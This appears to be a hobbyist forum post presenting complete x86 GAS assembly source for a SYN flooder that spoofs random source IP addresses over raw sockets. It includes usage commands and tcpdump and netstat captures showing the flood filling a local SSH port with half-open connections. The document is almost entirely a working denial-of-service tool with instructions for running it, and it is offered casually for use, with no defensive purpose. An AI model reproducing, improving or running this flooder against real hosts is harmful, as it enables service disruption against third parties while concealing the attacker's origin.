I got bored and felt like coding assembly, so I converted an old C program into GAS.
example usage:
$ # assemble/link
$ as -o syn.o syn.s; cc -o syn syn.o
$ # send 25 packets, one each 100ms, to localhost:22
$ sudo ./syn -h localhost -p 22 -a 25 -t 100
sending 25 packets to localhost:22 [t = 100] ...
A quick sniff to confirm:
# tcpdump -i lo -vv port 22
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 65535 bytes
01:54:41.308053 IP (tos 0x0, ttl 255, id 21845, offset 0, flags [none], proto TCP (6), length 40)
168.105.138.139.35333 > localhost.localdomain.ssh: Flags [S], cksum 0x80b5 (correct), seq 1391369773, win 512, length 0
01:54:41.408665 IP (tos 0x0, ttl 255, id 33339, offset 0, flags [none], proto TCP (6), length 40)
113.122.23.228.41767 > localhost.localdomain.ssh: Flags [S], cksum 0x0db3 (correct), seq 2992587315, win 512, length 0
..... More packets .....
01:54:41.910509 IP (tos 0x0, ttl 255, id 52534, offset 0, flags [none], proto TCP (6), length 40)
229.96.66.241.36189 > localhost.localdomain.ssh: Flags [S], cksum 0x0e3d (correct), seq 1487671859, win 512, length 0
01:54:41.910610 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 44)
localhost.localdomain.ssh > 229.96.66.241.36189: Flags [S.], cksum 0x1698 (correct), seq 2703853117, ack 1487671860, win 32792, options [mss 16396], length 0
01:54:45.097992 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 44)
localhost.localdomain.ssh > 229.96.66.241.36189: Flags [S.], cksum 0x1698 (correct), seq 2703853117, ack 1487671860,
01:54:51.098002 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 44)
localhost.localdomain.ssh > 229.96.66.241.36189: Flags [S.], cksum 0x1698 (correct), seq 2703853117, ack 1487671860, win 32792, options [mss 16396], length 0
01:54:52.297990 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 44)
localhost.localdomain.ssh > 226.203.234.192.59001: Flags [S.], cksum 0x40f6 (correct), seq 2713404056, ack 1192115760, win 32792, options [mss 16396], length 0
.... etc ....
Notice that the server is trying to contact spoofed ip "229.96.66.241".
Here's another view from netstat:
$ netstat -aut | grep -i syn
tcp 0 0 localhost.localdomain:ssh 226.37.232.197:58758 SYN_RECV
tcp 0 0 localhost.localdomain:ssh 227.122.91.215:14820 SYN_RECV
tcp 0 0 localhost.localdomain:ssh 238.28.197.255:63910 SYN_RECV
tcp 0 0 localhost.localdomain:ssh 224.18.42.135:50193 SYN_RECV
syn.s:
#; Linux-x86 GAS SYN flooder -xz
#; $ as -o syn.o syn.s; cc -o syn syn.o
#; USE:
#; ./syn -h <hostname> -p <port> [-a <amount>=10] [-t <tick>=10]
.equ NULL, 0
.equ ERR, -1
#; <bits/socket.h>
.equ SOCK_RAW, 3
.equ PF_INET, 2
#; <netinet/in.h>
.equ IPPROTO_TCP, 6
.equ IPPROTO_RAW, 255
.section .data
packet:
#;#;#
ip:
#;#
.byte 0x45 #; version = 4, iph = 5
.byte 0 #; tos, ecn
ip_tot_len: .short packet_len #; total length
ip_id: .short 0 #; id
.short 0 #; flags, fragmentation offset
.byte 0xff #; ttl
.byte IPPROTO_TCP #; protocol
ip_csum: .short 0 #; ip checksum
ip_saddr: .long 0 #; source ip
ip_daddr: .long 0 #; destination ip
#;#
ip_len = . - ip
tcp:
#;#
tcp_sport: .short 0 #; source port
tcp_dport: .short 0 #; destination port
tcp_seq: .long 0 #; sequence number
.long 0 #; acknowledgement number
.byte 0x50 #; data offset/reserved/NS bit
.byte 0x02 #; flags, SYN bit set
.short 2 #; window size, htons(512) == 2 ??
tcp_csum: .short 0 #; tcp checksum
.short 0 #; urgent pointer
#;#
tcp_len = . - tcp
#;#;#
packet_len = . - packet
tcp_pseudohdr:
#;#
ph_saddr: .long 0 #; source ip
ph_daddr: .long 0 #; destination ip
.byte 0 #; reserved
ph_proto: .byte IPPROTO_TCP #; protocol
.short 5120 #; tcp length
ph_tcphdr: #; memcpy tcp header here
.rept tcp_len
.byte 0
.endr
#;#
ph_len = . - tcp_pseudohdr
sockaddr_len = 16
sockaddr_in:
.short PF_INET #; sin_family
sin_port: .short 0
sin_addr: .long 0
.quad 0 #; pad to sizeof(struct sockaddr)
#;#
fd: .long 0 #; for raw socket
tick: .long 10 #; milliseconds between packets
amount: .long 10
hostname: .long 0
dip: .long 0
port: .long 0
dport: .short 0
.section .rodata
getopt_str: .asciz "h:p:a:t:"
str_gethostbyname: .asciz "gethostbyname"
str_socket: .asciz "socket"
str_sendto: .asciz "sendto"
str_usleep: .asciz "usleep"
helpmsg: .asciz "USE:\n %s -h <hostname> -p <port> [-a <amount>=10] [-t <tick>=10]\n"
info_start: .asciz "sending %d packets to %s:%d [t = %d] ...\n"
err_notroot: .asciz "error: You must be root to use raw sockets"
.section .text
.globl main
.globl csum
.globl hostlookup
.globl msleep
.type main, @function
.type csum, @function
.type hostlookup, @function
.type msleep, @function
main:
push %ebp
mov %esp, %ebp
push %edi
push %ebx
.L_getopt_1:
push $getopt_str
push 12(%ebp)
push 8(%ebp)
call getopt
add $12, %esp
mov %eax, %ebx
cmp $ERR, %ebx
je .L_getopt_2
cmp $0x68, %ebx #; 'h'
je .L_getopt_hostname
mov $port, %edi
cmp $0x70, %ebx #; 'p'
je .L_getopt_atoi
mov $amount, %edi
cmp $0x61, %ebx #; 'a'
je .L_getopt_atoi
mov $tick, %edi
cmp $0x74, %ebx #; 't'
je .L_getopt_atoi
jmp .L_getopt_1
.L_getopt_hostname:
mov optarg, %eax
mov %eax, hostname
jmp .L_getopt_1
.L_getopt_atoi:
push optarg
call atoi
add $4, %esp
mov %eax, (%edi)
jmp .L_getopt_1
.L_getopt_2:
mov hostname, %eax
cmp $NULL, %eax
mov port, %eax
cmp $NULL, %eax
je .L_help_1
jmp .L_help_2
.L_help_1:
mov 12(%ebp), %eax
mov (%eax), %eax
push %eax
push $helpmsg
call printf
add $8, %esp
mov $1, %eax
jmp .L_main_return
.L_help_2:
call getuid
cmp $0, %eax
jne .L_main_return_notroot
push hostname
call hostlookup
add $4, %esp
mov %eax, dip
mov $str_gethostbyname, %edi
cmp $0, %eax
je .L_main_return_herror
push port
call htons
add $4, %esp
mov %eax, dport
push $IPPROTO_RAW
push $SOCK_RAW
push $PF_INET
call socket
add $12, %esp
mov $str_socket, %edi
cmp $ERR, %eax
je .L_main_return_perror
mov %eax, fd
push tick
push port
push hostname
push amount
push $info_start
call printf
add $20, %esp
mov dport, %eax
mov %ax, sin_port
mov %ax, tcp_dport
mov dip, %eax
mov %eax, sin_addr
mov %eax, ip_daddr
mov %eax, ph_daddr
push $NULL
call time
add $4, %esp
push %eax
call srand
add $4, %esp
#; rand() / usleep() seem to trash %ecx
push $0
jmp .L_main_loop_cond
.L_main_loop:
incl (%esp)
call send_packet
mov $str_sendto, %edi
cmp $ERR, %eax
je .L_main_return_perror
push tick
call msleep
add $4, %esp
mov $str_usleep, %edi
cmp $ERR, %eax
je .L_main_return_perror
.L_main_loop_cond:
mov (%esp), %ecx
cmp amount, %ecx
jl .L_main_loop
add $4, %esp
push fd
call close
add $4, %esp
xor %eax, %eax
jmp .L_main_return
.L_main_return_notroot:
push $err_notroot
call puts
add $4, %esp
jmp .L_main_return_fail
.L_main_return_herror:
push %edi
call herror
add $4, %esp
jmp .L_main_return_fail
.L_main_return_perror:
push %edi
call perror
add $4, %esp
.L_main_return_fail:
mov $1, %eax
.L_main_return:
pop %ebx
pop %edi
mov %ebp, %esp
pop %ebp
ret
#; send an SYN packet
send_packet:
push %ebp
mov %esp, %ebp
push %ecx
call rand
mov %ax, ip_id
call rand
not %eax
mov %eax, ip_saddr
mov %eax, ph_saddr
call rand
mov %eax, tcp_seq
call rand
mov %ax, tcp_sport
movw $0, tcp_csum
push $tcp_len
push $tcp
push $ph_tcphdr
call memcpy
add $12, %esp
push $ip_len
push $ip
call csum
add $8, %esp
mov %ax, ip_csum
push $ph_len
push $tcp_pseudohdr
call csum
add $8, %esp
mov %ax, tcp_csum
push $sockaddr_len
push $sockaddr_in
push $0
push $packet_len
push $packet
push fd
call sendto
add $24, %esp
pop %ecx
pop %ebp
ret
#; convert hostname to ip in network format
hostlookup:
push %ebp
mov %esp, %ebp
sub $40, %esp
mov 8(%ebp), %eax
mov %eax, (%esp)
call gethostbyname
cmp $0,%eax
je .L_hostlookup_1
mov 16(%eax),%eax
mov (%eax),%eax
mov (%eax),%eax
.L_hostlookup_1:
mov %ebp, %esp
pop %ebp
ret
#; sleep for milliseconds
#; sleep -- too slow, usleep -- too quick, msleep -- just right
msleep:
push %ebp
mov %esp, %ebp
mov 8(%ebp), %eax
imul $1000, %eax
push %eax
call usleep
add $4, %esp
pop %ebp
ret
#; ip/tcp checksum function
csum:
push %ebp
mov %esp, %ebp
push %ebx
xor %eax, %eax
jmp .L_csum_cond
.L_csum_loop:
mov 8(%ebp), %ebx
mov (%ebx), %ebx
movzwl %bx, %ebx
add %ebx, %eax
add $2, 8(%ebp)
sub $2, 12(%ebp)
.L_csum_cond:
cmp $1, 12(%ebp)
ja .L_csum_loop
mov %eax, %ebx
shr $16, %ebx
and $0xffff, %eax
add %ebx, %eax
mov %eax, %ebx
shr $16, %ebx
add %ebx, %eax
not %eax
pop %ebx
pop %ebp
ret
edit: code fixing